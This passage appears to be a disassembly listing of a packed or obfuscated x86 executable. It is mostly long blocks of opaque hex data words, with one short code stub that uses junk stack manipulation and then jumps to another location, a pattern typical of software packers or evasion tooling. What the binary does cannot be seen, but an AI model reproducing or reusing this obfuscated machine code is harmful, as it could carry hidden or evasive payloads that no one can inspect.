		dd 9B37B800h, 69E97612h, 0A4CF7A89h, 5EEA2B9Ah,	0CD26D655h
		dd 81E5C4E5h, 379E46BFh, 0B1289C09h, 0E6B8672Eh, 8C868C2h
		dd 0E6B7E497h, 0E5C4E5C2h, 0E5B81E81h, 2809C92Ah, 0E1115B8Dh
		dd 40D44D7Dh, 0B65h, 18B12B99h,	0AF06BE26h, 228B3191h
		dd 9039A31Ch, 258C38AEh, 0C93F1D07h, 198CB21Bh,	0C53C02ABh
		dd 2380BE17h, 284C08A1h, 0E69904B7h, 2193C5C2h,	0F76ED64Fh
		dd 0B168F793h, 1AC93094h, 0D84D733Bh, 0E893F56Ch, 0AF6DD93Eh
		dd 3C8601F4h, 34000006h, 309427EEh
		dd 9208A8C9h, 45D9DD2Eh, 256CB4F1h, 25412504h, 97658757h
		dd 84BAF6DDh, 68F7BF1Dh, 0CF79A428h, 1E204465h,	714A6CA5h
		dd 6C8C4FD0h, 1C3DC2E7h, 206E716Eh, 0A8CCA801h,	0E7658437h
		dd 2C6445C2h, 0AA33B112h, 2B91F0CEh, 8D2563h, 929DFB64h
		dd 8CFEC92Bh, 2481FC13h, 4821D2A0h, 0FB0103ABh,	6B4A6CC5h
		dd 0D1745523h, 7DE1C50Dh, 9EF662FBh, 0D200000Ah, 5B65CC70h
		dd 0EED079EBh, 5D63CA72h, 0EFD178E4h, 4062CB79h, 420264D8h
		dd 0F272D5EBh, 5EFE655Bh, 0E85CC9F7h, 0FE610541h, 0C2E6983Bh
		dd 1568DA8Ch, 16870371h, 3C5C6FAFh, 2F96F8A3h, 82F0D1C9h
		dd 0A2655FBFh, 0AD93DBA9h, 0B2329338h, 30AC152Bh, 97A93011h
		dd 492FB62Eh, 3551E832h, 2FE7EFAAh, 0B03490C9h,	5F7E0829h
		dd 3C52117h, 506E01F4h,	0DC000005h, 76129B37h, 7A89BEE9h
		dd 4A2E0FCFh, 8F100F74h, 0C2E69ECCh, 54FDDCFDh,	0D24BF96Ah
		dd 0A71D88B6h, 0C8571F3Eh, 0C2E69F0Dh, 0CFABE28Eh, 2ACD0650h
		dd 0C36647C9h, 7DE13861h, 0EA8A1E87h, 1E000009h, 0AF9138A4h
		dd 1A248D37h, 0A19F36A6h, 0B359C40h, 0AC8E279Dh, 0B62E9884h
		dd 1EC6211Fh, 0A21A89B7h, 14D0350Bh, 29DF9BDh, 0C2E69757h
		dd 4F942670h, 0C9F76ED6h, 4F71E85Ch, 4B728D7h, 0C5C93094h
		dd 625CC5E4h, 0BFC75EFEh, 84E25AC4h, 56CE33FFh,	9F01F4AFh
		dd 4B7h, 4F71152Dh, 43F669D3h, 84C93094h, 0C872EDA5h, 31C93094h
		dd 147014A1h, 942CEF70h, 108FC930h, 0C9309469h,	14354362h
		dd 8981C35Ch, 0F9D8CF7Ah, 8242A39Dh, 34B0152Bh,	0CE47EBADh
		dd 0CBBCCEAAh, 44F86945h, 0B40A1536h, 0E58963FCh, 0E1C0C92Ah
		dd 0E110EC44h, 1F8B127Dh, 935h,	0C861DB49h, 7FD68EF6h
		dd 0D27BE141h, 60C973ECh, 0D57CE85Eh, 59CF2DF7h, 97C42EBh
		dd 55CCF25Bh, 13704EE7h, 0D8BCF851h, 0E6969447h, 0D16335C2h
		dd 0F76ED64Fh, 0BEBB5CC9h, 0E7B10F2h, 3110D431h, 0EC978910h
		dd 0B170D542h, 30516B2Eh, 5C7D5CC9h, 7063C3F5h,	379001F4h
		dd 22000001h, 0F76ED64Fh, 41E85CC9h, 0F8676B07h, 0C9309441h
		dd 0EE8AAB8Ah, 9466158Ah, 4667C930h, 0FF56A0Eh,	4ECF74B5h
		dd 0D3350B6Fh, 5FC05911h, 0C2EC7498h, 52B76318h, 0FBB08FF2h
		dd 4203h, 9B37B100h, 8D127612h,	0C93093CEh, 94C772EDh
		dd 2100C930h, 5A3E7657h, 0F40E4C3Eh, 0E5E92FCAh, 5D9377A7h
		dd 0DB93B288h, 73C2B644h, 0AF3617CFh, 0EBBE8530h, 220C77C2h
		dd 0AFDDC93Dh, 0A16AFBh, 4FD80000h, 0C9F76ED6h,	427CE55Fh
		dd 750763E1h, 0E8718EA9h, 0FF382AA0h, 0CA7D9FACh, 5E3AA3EBh
		dd 145C0060h, 0A20BB92Ah, 305B833Dh, 2B990AC9h,	67D8E682h
		dd 57FBBDF5h, 835C478Dh, 0A382A02Dh, 0ED5958C7h, 0B392CF76h
		dd 1A8DB3D7h, 0E08912F9h, 0B697BC64h, 78460E2Fh, 0C1FF560Eh
		dd 0E658FD67h, 107BAA3Dh, 7F31D89h, 9D070000h, 3CA8963Fh
		dd 0A31F2188h, 31AE9039h, 0AA1C228Bh, 67B1933Ah, 78D193F5h
		dd 0CC65DF46h, 842D8FF2h, 329B49BAh, 0CE8D1276h, 0FFC2E694h
		dd 0D94F1BA9h, 87FCC26Bh, 4FC674DDh, 0C9F76ED6h, 2541E85Ch
		dd 0A4D31A57h, 9FD7F59Ch, 2CA0Bh, 7115B900h, 30942BEEh
		dd 0F5BD9CC9h, 4CD31FB3h, 0C930948Dh, 5A3E1F3Eh, 74B8C3C5h
		dd 472302CFh, 0CD540879h, 0A23DA4ECh, 0C2EC6FF3h, 22BB299Ch
		dd 0A43DA71Ch, 0A255C1BAh, 0EC707E3Dh, 4F6E4FC2h, 42A77308h
		dd 0FBB08FE2h, 26413h, 2EEEA100h, 0AFC93094h, 71EE8A03h
		dd 0CF7A8A39h, 0F315574h, 0B3132D97h, 231D7931h, 0CFAB02C2h
		dd 0DE9204BDh, 84CCE57Dh, 0FF9B49BAh, 98FC60C1h, 0E7285407h
		dd 1C5475C2h, 1A85E185h, 0C2E7285Fh, 47014968h,	380662ABh
		dd 355119CBh, 2B53C0AAh, 0C3251BC9h, 1E3F4901h,	0E1A73FBBh
		dd 40D44D7Dh, 6F5h, 88219B09h, 3F964EB6h, 923BA101h, 208933ACh
		dd 953CA81Eh, 198F6DB7h, 0C93C02ABh, 158CB21Bh,	0D3300EA7h
		dd 98FCB811h, 0E6945407h, 912375C2h, 1071D64Fh,	351435ACh
		dd 8EF6C8ACh, 43A09ED6h, 6BDBE581h, 334160F9h, 157FEAB7h
		dd 73EAA2DEh, 0F168D44Dh, 75EC58CFh, 42BA641Fh,	1EFB275Ch
		dd 36E57AA5h, 97C93051h, 3462C4B6h, 1DB78E8Eh, 43A3953Ch
		dd 0C401F411h, 5CC986FAh, 0D181C9E8h, 17Dh, 9D671563h
		dd 0A88189B4h, 6685A4B1h, 0A88964EAh, 0FF65DEE0h, 0C73C0266h
		dd 0FA6B551Dh, 625C2E4Ah, 812E7EF0h, 0AED48718h, 0D4F5C92Fh
		dd 5214BDF5h, 2D1377BEh, 0BE9F06B6h, 170D92F6h,	0B6CF73D0h
		dd 3EA71D88h, 38A73E1Fh, 0C2EBCF7Dh, 0BE251B7Fh, 7CE3871Eh
		dd 0C2EBCFBDh, 460E2F0Eh, 980CF13Dh, 5DFBAFEAh,	25h, 0D9B37EFh
		dd 93B22B99h, 0B349D6B2h, 1ACF749Fh, 7A3DA23Bh,	7AC2EC89h
		dd 0D4301501h, 61FBB0A8h, 0D6h,	71D64FD3h, 1534AD17h, 3593AD34h
		dd 6DD5EB8Fh, 0BCF5249Ch, 8DACD721h, 0E47D3514h, 9AC7F280h
		dd 0CD44640Dh, 738336A9h, 6544C930h, 32B2132Dh,	0B43095ABh
		dd 791D791Dh, 307333E6h, 2AB594C9h, 0C930736Fh,	7D0BB110h
		dd 0E58B145Ch, 0ACC930C4h, 62248D37h, 79EB58CEh, 83FFC1E0h
		dd 39CF8D9h, 0CF76C710h, 0B28CE8C9h, 0CAF49054h, 7C3FA057h
		dd 4DC2E9BEh, 0F5D44D6Ch, 0BC2A14BDh, 3627AD08h, 0F0697BAAh
		dd 55C64h, 8A329000h, 3BA91D23h, 8834AC92h, 3AA21F21h
		dd 893BAD93h, 221A0220h, 97A900C4h, 231DB430h, 8BB51CC0h
		dd 4703AA1Ah, 92FDBC23h, 98CEC2E6h, 6BD94F2Ah, 8E87FCC2h
		dd 976D1FAh, 0CFC52153h, 9AFE5776h, 0CABA61FEh,	3213C92Fh
		dd 0D64FC87Ah, 0F793F76Eh, 3094B168h, 0BD241AC9h, 48763E1Fh
		dd 54C069DBh, 1Bh, 71D64FE6h, 1435AC10h, 3192AC35h, 1A612AB3h
		dd 2C22310h, 173FABh, 4F8D0000h, 68F76ED6h, 0C93094AEh
		dd 73E04A31h, 69DB4D12h, 59F0D1F0h, 0BD2B15EBh,	14714F07h
		dd 960A3450h, 0A09EBF26h, 25049D3Fh, 1EB2F46Dh,	6E6CF397h
		dd 0DFCF7A8Ah, 3FA49AFEh, 2C482C85h, 0E69F08B3h, 0A8E0C1C2h
		dd 2EB72D96h, 294DC868h, 309425B6h, 0A3C7E6C9h,	7D3CA3C7h
		dd 4EC93094h, 9449F06Fh, 0A382C930h, 54B18FEBh,	9E073990h
		dd 59F9BF26h, 87CAB8DCh, 4C793D08h, 4A2E4A02h, 870AB12Eh
		dd 0E2C3C930h, 0A38335AAh, 6342CF74h, 0A8F156C6h, 41D54C7Bh
		dd 441h, 44ED4FB5h, 0F35A0A7Ah,	4EE755CDh, 4AD0F70h, 0B118CC3Ah
		dd 35938993h, 0AD18268Fh, 41A09E37h, 970C329Bh,	0A4C0842Dh
		dd 0E692803Bh, 0AD1F49C2h, 0C76ED64Fh, 0BB299DA3h, 37A51C22h
		dd 0E6AE8FAEh, 9DF96BD8h, 0D59D3FA3h, 5311724Ch, 269E0937h
		dd 92E9F76Eh, 8A3AAB88h, 0B3B11523h, 4B4201F4h,	26000000h
		dd 0D33A918h, 90B12894h, 9B376AD8h, 83E97612h, 0D8CF74E2h
		dd 89C17BE6h, 84BADEFFh, 0F117EC1Dh, 0D4DB8311h, 16C35CF5h
		dd 0FFC2EC4Eh, 4977DE86h, 620662DAh, 0EC4E3EFDh, 0C8FD8FC2h
		dd 19A4228Ch, 2BB2FADBh, 394BFh, 0D64F0D00h, 5CC9F76Eh
		dd 6B0741E8h, 0EBD94622h, 62CF74B4h, 9245DA43h,	2C2EC74h
		dd 0DE9D0266h, 0EFC2EC73h, 31FD86CEh, 0B08F58CCh, 419DFBh
		dd 152F0000h, 4D05B72Bh, 4A2E670Bh, 0DB4B1074h,	0F0D1F069h
		dd 76EE5769h, 0E47B1F57h, 0CF749F56h, 0B82C9BA5h, 899843DCh
		dd 1031C2ECh, 960F2E58h, 0EC894E09h, 0E9354EC2h, 0B0A8A004h
		dd 0E255FBh, 4FE70000h,	0C9F76ED6h, 187CE55Fh, 4B03B926h
		dd 8E111075h
		dd 0C93093CBh, 0B9252B4h, 0F7D5C2Ah, 5C8BD64Bh,	84E0C1F6h
		dd 0DD9547BAh, 44097A44h, 0DAFB62E2h, 0E0C17BE4h, 0A118D649h
		dd 0B411C92Fh, 9009B32Fh, 168F35AEh, 53371637h,	9FF1A837h
		dd 0FBDAC92Fh, 0BF241AB3h, 1637A51Ah, 0EC29C98Fh, 6FD2EC88h
		dd 3D7554CDh, 73C21CA2h, 75DCFDCFh, 72169F33h, 3266E0EDh
		dd 680C2DC9h, 1074F056h, 0DED8AA62h, 878BF963h,	8D246C03h
		dd 4AEF55B3h, 7DEEFE2Ch, 8AD743DAh, 0FE000002h,	4F71D884h
		dd 0FAC46DD7h, 417FD686h, 0EBD57CE0h, 4C6EC77Dh, 560E78E4h
		dd 0FE66C1FFh, 42FA6957h, 0F470D5EBh, 0E27D195Dh, 0C2E69037h
		dd 1574C690h, 0C31A5367h, 0BAC88673h, 4318ACC4h, 0F0CE86E1h
		dd 0B9872E96h, 8331984Ch, 76129B37h, 0F168DC48h, 0CDEC58CFh
		dd 0DC7EE185h, 2DCF749Fh, 0F056680Ch, 3AA53C74h, 0C2EC897Bh
		dd 371C067Dh, 0FBB0A8CFh, 9C64h, 0D64FD600h, 5FC9F76Eh
		dd 2DE37CE5h, 24C93098h, 0C8AC05BFh, 99D18BF6h,	1F863EA7h
		dd 187CB959h, 71680E7Ch, 7FACC4A4h, 0C916A837h,	0D6F7CF73h
		dd 1C99397Fh, 66DE4678h, 79D54A2Eh, 0F4C9326Ah,	198FB1D5h
		dd 0CA3C02ABh, 8AD3BF1Ah, 0E0797DEEh, 1C074h, 6ECE3400h
		dd 0D78DF9C7h, 7CE0407Eh, 0C676EBD5h, 4DF7516Fh, 0FE5EC6E4h
		dd 4B75DC88h, 0FFC168DCh, 4F71D884h, 83C76ED6h,	8FC178E7h
		dd 5C0AC2E6h, 6BD94FEEh, 0DD87FCC2h, 9742DDB9h,	30C93094h
		dd 0B72E960Eh, 56FFB796h, 6ED64FE4h, 0F75CC9F7h, 6D4CD58Fh
		dd 0D54CF053h, 427CD5F4h, 58047CE1h, 0C0231D79h, 0ECA4851Ch
		dd 169F3375h, 9AAFED72h, 3F1ECF74h, 0B52798A6h,	48AF122Ch
		dd 0EC8E24D7h, 0A584A5C2h, 0CD59223Ch, 0B27C077Fh, 5321E045h
		dd 0B7C93E45h, 0F4A73836h, 0D5C2EC34h, 3A7CD5F4h, 1F7B1F96h
		dd 831CC021h, 0C2EC34D8h, 0E953CFF1h, 7BE480C8h, 0C9304369h
		dd 0D9AEC0B2h, 0DB888452h, 5DC4E593h, 0DB420263h, 0AA3FEB90h
		dd 74EB8F06h, 0CF74896Eh, 19278EAFh, 625C38ACh,	920B4301h
		dd 1E8735ACh, 861FC520h, 994BB8h, 0D329F58Eh, 0E946D0ABh
		dd 561C87Ch, 9B0BC83Bh,	0B091B029h, 6400829h, 1CC83C6Ah
		dd 1821F785h, 73E8AAEDh, 88177352h, 0C92F9D52h,	812F097Bh
		dd 16E4E1E3h, 3390AE37h, 2EB1D5B1h, 0C9304F6Bh,	0AC357D5Ch
		dd 0EE83AFD4h, 91AFCB42h, 35148D37h, 5486197Dh,	75CF7455h
		dd 1158E507h, 0CEEFFA3Eh, 41912167h, 0C35A027Fh, 69BE7DE2h
		dd 2E0FC2ECh, 0EF46B0Fh, 4FC9365Fh, 5CC9F76Eh, 67F41E8h
		dd 0F960E441h, 0FF60F9D8h, 0F0B54529h, 5DF43E45h, 3A5EFE63h
		dd 9143F6A5h, 0BEF6D7A1h, 8A12380h, 8E17CD36h, 74ED4FB0h
		dd 0EF56680Ch, 6445F76Ah, 0EF94DCFDh, 0F8FE8C43h, 0D079D42Bh
		dd 41A29CD4h, 0AF142A83h, 0A38AC35h, 8A000000h,	0ABA2B15h
		dd 0C2FAB293h, 67D54F70h, 0E163C0FEh, 61DB4678h, 0E55FC6F8h
		dd 60E4427Ch, 0E361C7F9h, 61DB447Ah, 0E25AC6F8h, 63E1457Bh
		dd 8957EDFAh, 4C781E7h,	83000000h, 3C8704EFh, 24248B24h
		dd 81E68956h, 4C6h, 4EE8300h, 5C243487h, 68240C89h, 1CA0h
		dd 55243C89h, 6A1DF1BDh, 9DBB5361h, 896723EBh, 0E9315BD9h
		dd 4EC815Dh, 89000000h,	4812424h, 424h,	0B8505F00h, 8
		dd 0B8378A2Dh, 5F80175h, 75B8378Ah, 8B580889h
		db 3Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5445C2
; ---------------------------------------------------------------------------
		db 25h,	59h, 0E7h
		dd 41FCBC5Ah, 60B86B07h, 3064A07h, 30E0FFC5h, 0F363E4C8h
		dd 345B983Ah, 3B18C706h, 0C139136Eh, 153ABBCBh,	106FAC9h
		dd 75777E59h, 664CC0E9h, 0AE3B3A1Eh, 0E505A105h, 84F9466h
		dd 0B237DBC0h, 751CADE3h, 49604B7Ah, 927FE31h, 0FC11C77Dh
		dd 9C263448h, 6A235D31h, 0CD0CCFE7h, 2332E4FAh,	327A85A3h
		dd 0C02974F0h, 0FE22144Fh, 584CA787h, 825CAD2Bh, 18783CC3h
		dd 0DF3B9D67h, 0A457D85Eh, 38650ED2h, 0ED27C19Dh, 852F170Ch
		dd 0E8682865h, 14h, 15C77E47h, 15A8A37h, 0A9DC784Ch, 520CEC8Fh
		dd 2CC65677h, 13E85Ah, 6D700000h, 69220CDCh, 8A7766ECh
		dd 7307999Ah, 0D9DD1AAFh, 0F8B70F19h, 16C2815Eh, 0F000071h
		dd 280h, 0BBEC8A00h, 731C4D59h,	0CEB3C381h, 32FF8CE3h
		dd 0E881F858h, 338E7557h, 81F98B66h, 2212CCF0h,	0AE930h
		dd 0B3630000h, 0DEF44E80h, 89431738h, 9D80E881h, 666054AFh
		dd 0E39EEB81h, 0C118BE56h, 615E740Eh, 0CE816650h, 28F5D33h
		dd 81CAB70Fh, 0C2864CEAh, 0BF665061h, 815E7000h, 0C28648C2h
		dd 0DDF78161h, 814BC9A6h, 1EBh,	28850F00h, 0E9000000h
		dd 0Dh,	0EC4A469Dh, 35C8B439h, 1CE2636Eh, 24E961h, 0D2860000h
		dd 0B8496207h, 0CAB6B60Ah, 0B7D8200Ah, 0FF4A124h, 8Bh
		dd 0FF68E900h, 0F14DFFFFh, 0EE9D9042h, 6E812E9h, 0E8000000h
		dd 6A2A8864h, 0F88B66EBh, 0FFBF0F5Ah, 6AFAC281h, 8B660000h
		dd 1B1FBBCEh, 0EB81247Eh, 247E008Ch, 16880Fh, 0E9600000h
		dd 0Ch,	5E7D54C9h, 7C7AFB31h, 0D9B1ADB4h, 61F08B66h, 8B5E32FFh
		dd 0F3C681C7h, 53236C43h, 0A6E08166h, 0C68158F9h, 708481B3h
		dd 0C6818DB1h, 2634E290h, 56FFB70Fh, 0BD52C181h, 28F3728h
		dd 81FEBF0Fh, 637C2AEAh, 0C281F502h, 2637C26h, 0F01EB83h
		dd 2085h, 0DE900h, 443A0000h, 4D8FF04Eh, 93C61745h, 0E9D99B29h
		dd 19h,	175EABAEh, 9FA4159h, 0FF96E94Fh, 0F015FFFFh, 0F25F14ACh
		dd 0B239C21Ah, 79EBDCh,	8CEF9E7Dh, 0D60FE221h, 979FABAFh
		dd 0E37C4DB2h, 720095B7h, 0B5E9A9E5h, 609BB69Ch, 0A9B6F377h
		dd 609EB794h, 897D60D7h, 8C9EA9BDh, 0E3729EBDh,	204A95ACh
		dd 7E9BB98Bh, 0B99D8993h, 96AFF496h, 0B594A19Eh, 0FD91A7D6h
		dd 0CC48D100h, 3C33594Ah, 4D520071h, 5EF357DBh,	0B79BB7D6h
		dd 0ABAFF600h, 9F8995h,	0C77156F0h, 0BEB3D7h, 0D7567118h
		dd 73E2ADC4h, 2A443D36h, 108DE9h, 0CA56800h, 63E9064Ah
		dd 68FFFA74h, 64A0D85h,	0FA7459E9h, 0EB068FFh, 4FE9064Ah
		dd 68FFFA74h, 64A1031h,	0FA7445E9h, 10AD68FFh, 3BE9064Ah
		dd 68FFFA74h, 64A1161h,	0FA7431E9h, 11FE68FFh, 27E9064Ah
		dd 68FFFA74h, 64A12D7h,	0FA741DE9h, 139368FFh, 13E9064Ah
		dd 68FFFA74h, 64A148Dh,	0FA7409E9h, 162768FFh, 0FFE9064Ah
		dd 68FFFA73h, 64A188Dh,	0FA73F5E9h, 19B868FFh, 0EBE9064Ah
		dd 62FFFA73h, 0CBF55C00h, 7E40E95Bh, 0CDF35A02h, 7F41E854h
		dd 0D0F25B09h, 0F272D448h, 4202655Bh, 0CE6ED5EBh, 78EC5967h
		dd 6EF195D1h, 0C2E689ABh, 4FF84A1Ch, 0C9F76ED6h, 0E88CE85Ch
		dd 3094C477h, 6C2405C9h, 5AC5A1C5h, 0C930949Fh,	7410928h
		dd 0D946226Bh, 0CF74B4EBh, 39E85C62h, 0EC73F3A6h, 0D4F5D4C2h
		dd 841E6C4Dh, 2C10A078h, 82E682A3h, 0EBA75E1Dh,	64E6FC2h
		dd 0A755009Fh, 2347C2EBh, 0A721D847h, 0D2AEC2EBh, 2DE6520Ch
		dd 0A2EACBBDh, 7CE84DD9h, 0B9FBB040h, 51h, 1E87B9DDh, 811E3FA6h
		dd 0C2EC2CDAh, 289AD2F3h, 9BB2B15h, 0BFF9B190h,	61FE9A13h
		dd 0CF749FDBh, 4AD75220h, 960FB511h, 0EC40C5B7h, 0A687F1B9h
		dd 9AF5A03Fh, 83E7C2EBh, 0FD994BBDh, 0EB9BB762h, 793110C2h
		dd 0D3331802h, 60FBAFBAh, 0C8h,	6ED64FD2h, 0E55FC9F7h
		dd 96A187Ch, 665E0367h,	40A59BD3h, 0E24A54D7h, 91B02DF9h
		dd 17CD3608h, 1D6F21BEh, 7DE6C930h, 0F3506EC7h,	57B36D22h
		dd 80A1D7E4h, 86197D19h, 0C92FC6D3h, 0DB9DD5F4h, 59AFE37h
		dd 0CF73CA47h, 6A0EA786h, 3A72F254h, 3D59D47Ch,	62502B59h
		dd 8BCF2CC6h, 1EE85CC3h, 1377C933h, 2DDDCD8Ch, 97DFFEC9h
		dd 9AA4C0E1h, 7511B82Ch, 0D75DA4Bh, 36178EAFh, 61299B08h
		dd 0DE7BE95Fh, 7DEE42EDh, 51E8A13h, 0EA00000Eh,	536DC478h
		dd 0E6D871F3h, 556BC27Ah, 0E7D970ECh, 486AC381h, 5A0A7CE0h
		dd 0EA5ACDF3h, 56067D43h, 0E064C1FFh, 0F6690D49h, 0C2E68843h
		dd 4F60D284h, 0FCC26BD9h, 0C674DD87h, 76129B37h, 93CE8D12h
		dd 0DEFFC930h, 0CF6DF296h, 3ECF749Fh, 0A63FA500h, 0A03FA687h
		dd 0C2EC88F5h, 20B9239Eh, 0A53CA81Eh, 0B38995EEh, 0BEA38FF4h
		dd 0FBB0A846h, 0ACEFh, 0D64F5D00h, 4643303Dh, 0DAFB62DAh
		dd 71D9AEA8h, 91F7C950h, 92B76E80h, 1EE32D59h, 7A11001Fh
		dd 7DE4C5E4h, 2FC12CE2h, 4C025C9h, 0B23293ADh, 48C56D2Bh
		dd 0C2F9B32Ch, 1130CF73h, 0DB52FEB8h, 63B320BFh, 1E7AC932h
		dd 2E20DA81h, 9AD2F3C9h, 97A9CDECh, 7E1AB331h, 78B6C00Ch
		dd 632B21A8h, 0DC79EB5Dh, 7DEE04E5h, 2526B22Bh,	0CA00000Dh
		dd 734DE458h, 0C6F85113h, 754BE25Ah, 0C7F9500Ch, 684AE361h
		dd 7AEA5CC0h, 0CA7AEDD3h, 76E65D63h, 0C084E1DFh, 0D6492D69h
		dd 0C2E68723h, 4F40F2A4h, 310F6BD9h, 8D246CD0h,	3B9252B3h
		dd 6ED64F89h, 10CC340Ah, 79E0A889h, 0CF66DE47h,	0B13395ABh
		dd 7F410928h, 0FEC05903h, 85BBDF85h, 1B3AA321h,	0EC9EFA53h
		dd 5ACA1F8Ah, 205273EAh, 0AAE2DC4Fh, 45371219h,	4B3C9C96h
		dd 0F8BEF6ABh, 87B9DD58h, 0EDD3A11Bh, 1004F121h, 26B9DD95h
		dd 0CF73FA58h, 0A950CFABh, 22C2EBF5h, 41F86703h, 8AC2EBF5h
		dd 0F195E3ABh, 72ED57CFh, 0C2EBF5C7h, 40002100h, 762619DFh
		dd 0A2F898BAh, 0C7A38242h, 3CA3C7A3h, 0D761E67Dh, 49F06F4Eh
		dd 82D761E6h, 8A74EBA3h, 0D9DDA5EAh, 0B83146ABh, 0CF3648A6h
		dd 8CAD8C15h, 0A93B2C4h, 0D69A44Ch, 0E3D1037Fh,	4B7502C0h
		dd 0D2F36ADAh, 0A49AFE9Ah, 0A259C641h, 2BD1A5F9h, 93B22B0Ah
		dd 714044DBh, 0BC9DD7EDh, 0D87DE6D8h, 0CA7AEA67h, 0CA537253h
		dd 5D63CAEBh, 0D6D97CE8h, 2E8C2118h, 0BFA23B7h,	85FF0000h
		dd 0E4407ED7h, 8BF7C960h, 0D94678D1h, 92F4CA63h, 0CF597BD2h
		dd 0E049FB6Dh, 54FD67DEh, 0EC45F76Ah, 5AF371D2h, 36E57A1Eh
		dd 97C2E686h, 0D64F73C1h, 30780A6Eh, 20950012h,	9533703Bh
		dd 25C988E7h, 1EB2F46Dh, 0A6CF397h, 69CF73FAh, 6ECE330Dh
		dd 0EBAF4AF1h, 0E75DCBC2h, 8EF8B091h, 4DC354B0h, 5719F193h
		dd 0EE8AAB8Ah, 54CD6FD0h, 0F0943D75h, 0A1E953CEh, 0A6C24BE7h
		dd 3042EF39h, 0AF122CC9h, 1233450Dh, 0E261148Bh, 2853C92Fh
		dd 1AD19FEh, 554601F4h,	0F4000000h, 9B0D9B37h, 0B091B029h
		dd 0A1C2B0D4h, 5CB84B56h, 80EA753Dh, 0C9CF7469h, 4FB28CE8h
		dd 2636C6BEh, 0A6870768h, 0ADE7900Fh, 84F6C2EBh, 7A8D4Eh
		dd 4FB987E7h, 652D0C95h, 0D37AEA5Bh, 5FC676EDh,	0B1BCBh
		dd 0F0DDAF00h, 2ADC0ACCh, 5B097D43h, 19ABE3C2h,	76129B37h
		dd 0ABA2C12h, 2658D278h, 98D0D791h, 79A4EA07h, 108FEBCFh
		dd 0C2E5A469h, 6624362h, 0B019CB38h, 36AF158Eh,	3155E070h
		dd 74212755h, 5C5CD30Dh, 0E4F98B14h, 0A6C2C92Fh, 2FE18239h
		dd 14264FC9h, 0C79934E0h, 0AED890B1h, 70D5EB8Fh, 24514A7h
		dd 0B8993F22h
		dd 7427B8DCh, 55C9302Ah, 0DF46F66Bh, 3E97DFFEh,	0B821A300h
		dd 6B13AEDCh, 899D5811h, 0A2EB87C1h, 249F59C6h,	5C2ECF74h
		dd 0A1AE0892h, 0F45170FBh, 7BA86AE1h, 790A9E07h, 7E00000Ah
		dd 0CFF15804h, 7A44ED57h, 0C1FF5606h, 6B55FC60h, 0CCEE47FDh
		dd 0D68EF864h, 7EE6417Fh, 0C27AE9D7h, 74F0556Bh, 62FD99DDh
		dd 0C2E684B7h, 0EEF44610h, 0C9309427h, 0E98D08A8h, 0F3EFF8Dh
		dd 3C755998h, 7A61EB74h, 89A8CF7Ah, 0F272D3EDh,	0DE4D3F5Bh
		dd 10AE1446h, 0A61F2169h, 0FDC3A73Eh, 0E458C986h, 357D5CC5h
		dd 3256DF73h, 29F84BADh, 3E9BBAC9h, 7DE21025h, 0FD66F26Bh
		dd 0E2000009h, 4B75DC80h, 0FEC069DBh, 4D73DA82h, 0FFC168D4h
		dd 5072DB89h, 72F254C8h, 0C282E5DBh, 4EEE556Bh,	0F86CD9E7h
		dd 0EE711551h, 0C2E6842Bh, 4F78CA9Ch, 0C9F76ED6h, 1771E85Ch
		dd 0E95DC26Ch, 0A01F4AFh, 468h,	0EE7115B8h, 0C930942Bh
		dd 0B3F5BD9Ch, 8D4CD31Fh, 3EC93094h, 0C55A3E1Fh, 0CF7A9E53h
		dd 520996F2h, 7BC2E68Ah, 211F7B5Ah, 13C659C0h, 0B4C2E68Ah
		dd 0C2DB495h, 0A51E2044h, 8A36E57Ah, 0B697C2E6h, 0A3003E97h
		dd 0B8DCB821h, 0E68A7427h, 0F66B55C2h, 0B02F6746h, 0C2E68A05h
		dd 0B7D35AF6h, 2AB7CE28h, 0BB1E3FC9h, 7DE2D25Ah, 49E377EEh
		dd 2E000009h, 9FA108B4h, 2A14BD27h, 91AF06B6h, 1B258C30h
		dd 0BC9E37ADh, 0A61E8874h, 6ED6310Fh, 0D28AF9C7h, 64E0457Bh
		dd 72ED89CDh, 0C2E683C7h, 4FE45600h, 0AE1671D6h, 0BB28168Fh
		dd 35AE9009h, 0B928168Fh, 85BB9A03h, 0B739A01Ch, 8CEA62CCh
		dd 5EC62BF7h, 9701F4AFh, 3A0h, 9427EE25h, 8A8C930h, 3676E98Dh
		dd 77CF7A9Fh, 970C3256h, 49BA842Dh, 0AC44029Bh,	5F610561h
		dd 0C0E178E4h, 0B7C11788h, 3E00C92Ah, 4A6E49C2h, 0BFFFD49Ch
		dd 726079Eh, 0E26855A2h, 0FE6AF37Dh, 8ACh, 40E953B1h, 0F75E067Eh
		dd 4AE359C9h, 0F8510B74h, 4DE460C6h, 0F157C56Fh, 81E4DA73h
		dd 0ED546AC3h, 6BD8E64Fh, 701450F9h, 0E6832CEFh, 79CB9DC2h
		dd 54BD2B15h, 3AC73939h, 0A896B78Eh, 0F0CE863Eh, 0E953CE93h
		dd 14705170h, 452CEF70h, 0BC9DC930h, 0F2536DF4h, 0F68DEB72h
		dd 605FC72Ch, 9EA001F4h, 0A5F5BD27h, 2F4h, 0DE86FFC1h
		dd 9C2E6647h, 309427EEh, 52B48AC9h, 622A0B92h, 65018C24h
		dd 7A9EBBFAh, 492D0CCFh, 0FF560E77h, 0B960FF9Bh, 12C2E68Ah
		dd 8A32E976h, 0BA9BC2E6h, 78EDD39Bh, 0AFDAA8CCh, 32DE45DEh
		dd 0EDAC3357h, 0DEC2E5E8h, 4A2EB7FFh, 0D94C1174h, 0F2D34A6Bh
		dd 70E953CCh, 0B35F1951h, 0AB811E7Ah, 22C92A14h, 755BA603h
		dd 18817DE2h, 7D38Ch, 0B22A9800h, 3C1251Bh, 0B02C94AAh
		dd 2BA2719h, 0B13395ABh, 0AF23A18h, 0BF81289Ch,	0B359C48h
		dd 0B38D2498h, 7F3B9252h, 81D5841Bh, 0A0F6C2E6h, 6ED64F12h
		dd 0E85CC9F7h, 6F0B6F71h, 0D44DF751h, 94AF6AF5h, 3918C930h
		dd 69200A71h, 0F56DEA57h, 8DFF6647h, 53BEFFFh, 0E3AB8A45h
		dd 55FC68DDh, 0F41C0363h, 73001h, 0E5820000h, 214h, 942DEE57h
		dd 2AEC930h, 5070EF8Bh,	8DCF7A9Fh, 33ACC8ACh, 0C2E68A88h
